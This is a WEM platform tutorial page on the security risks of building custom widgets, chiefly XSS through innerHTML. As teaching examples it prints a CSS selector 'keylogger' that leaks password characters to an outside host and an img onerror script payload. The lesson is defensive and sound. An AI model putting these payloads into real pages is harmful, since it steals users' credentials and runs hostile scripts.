> For the complete documentation index, see [llms.txt](https://docs.wem.io/platform/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wem.io/platform/tutorials/building-widgets/basics/12-risks-and-responsibilities.md).

# 12. Risks and Responsibilities

My guess is that you are eager to build a widget on your own, and your fingers are itching to write some code! But as the great Uncle Ben from Peter Parker famously said, "With great power comes great responsibility." While this quote was ironically popularized by the movie Spider-Man, it holds true nonetheless. So, sit tight, and let’s have a candid discussion about the risks and responsibilities involved.

WEM is a no-code platform that allows you to create applications ten times faster than traditional methods. We are proud to share customer stories that prove this. With the development of AI, it’s not unreasonable to think that we will be able to build apps even faster. However, what people often overlook is that WEM implements numerous safety precautions, enabling you to build without worry while it handles the hard work in the background, allowing you to sleep soundly at night.

I’m referring to safety on a technical level. I’m not suggesting that WEM guarantees you will never create unsafe applications. For instance, someone might forget to add authorization to a sensitive page that displays client information openly. This is a user error that WEM cannot prevent. WEM provides you with tools built on universal standards to implement authorization, but it cannot ensure that you will implement it correctly. Think of WEM as a car equipped with bulletproof glass; it offers protection, but if a reckless driver looks too deeply into the glass, don’t be surprised if the car comes home with bumps and scratches.

"What does this have to do with widgets?" With widgets, you gain more control—essentially, more power. And you know what Uncle Ben said? Building widgets requires not only extensive knowledge of HTML, CSS, and JavaScript but also an understanding of how the WEM Runtime works. It’s a lot to take in, and if you’re not careful, you might inadvertently introduce XSS (cross-site scripting) vulnerabilities into your widget without even realizing it.

I take my job as a programmer very seriously, and you should too. I see too many people copying code from the internet and pasting it without understanding what it does. "It works, so it must be fine, right?" So, I want to ask you a question: Are you a good programmer, or a good Googler?

Do you know the dangers of using `innerHTML`? It seems safe to use, right? After all, any `<script>` tags are ignored, so it should be perfectly safe. Well, not quite.

Here’s something interesting. Do you know what the following CSS does?

```html
<style>
    input[type="password"][value$="a"] { background: url("http://website.com/a"); }
    input[type="password"][value$="b"] { background: url("http://website.com/b"); }
    input[type="password"][value$="c"] { background: url("http://website.com/c"); }
    /* ... */
    input[type="password"][value$="z"] { background: url("http://website.com/z"); }
    input[type="password"][value$="{"] { background: url("http://website.com/%7B"); }
    input[type="password"][value$="|"] { background: url("http://website.com/%7C"); }
    /* etc */
</style>
```

That’s right! This is a stripped-down version of a keylogger written in CSS! What about this one?

```html
<img src="x" onerror="console.log('Hey look mom! No <script> block.')">
```

Yes, if you are creative enough, you can even execute scripts without using `<script>` blocks. In the example above, because the image "x" does not exist, the `onerror` event will be triggered. So even if `innerHTML` ignores `<script>` blocks, there are still ways to execute all kinds of malicious actions.

From this point forward, a strong knowledge of HTML, CSS, and JavaScript is essential. I’m going to be more strict this time. If you don’t understand the dangers of using `innerHTML`, you should. If you don’t know why it’s important to encode output, you should. We are going to delve deeper and get more technical, so strap yourself in a little tighter, and let’s go!


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.wem.io/platform/tutorials/building-widgets/basics/12-risks-and-responsibilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.